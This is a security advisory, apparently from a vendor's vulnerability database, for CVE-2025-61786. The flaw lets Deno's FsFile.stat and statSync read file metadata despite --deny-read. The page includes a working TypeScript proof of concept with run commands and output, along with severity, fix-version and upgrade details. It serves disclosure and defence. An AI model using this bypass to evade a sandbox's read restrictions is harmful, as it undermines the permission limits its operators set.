CVE-2025-61786

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt

• poc_file.stat.ts

// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Permission model bypass

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2025-61786 has a CVSS score of 3.3 (Low). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.5.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-61786? CVE-2025-61786 is a low-severity improper privilege management vulnerability in deno (rust), affecting versions < 2.5.3. It is fixed in 2.5.3. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
2. How severe is CVE-2025-61786? CVE-2025-61786 has a CVSS score of 3.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of deno are affected by CVE-2025-61786? deno (rust) versions < 2.5.3 is affected.
4. Is there a fix for CVE-2025-61786? Yes. CVE-2025-61786 is fixed in 2.5.3. Upgrade to this version or later.
5. Is CVE-2025-61786 exploitable, and should I be worried? Whether CVE-2025-61786 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-61786 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-61786? Upgrade deno to 2.5.3 or later.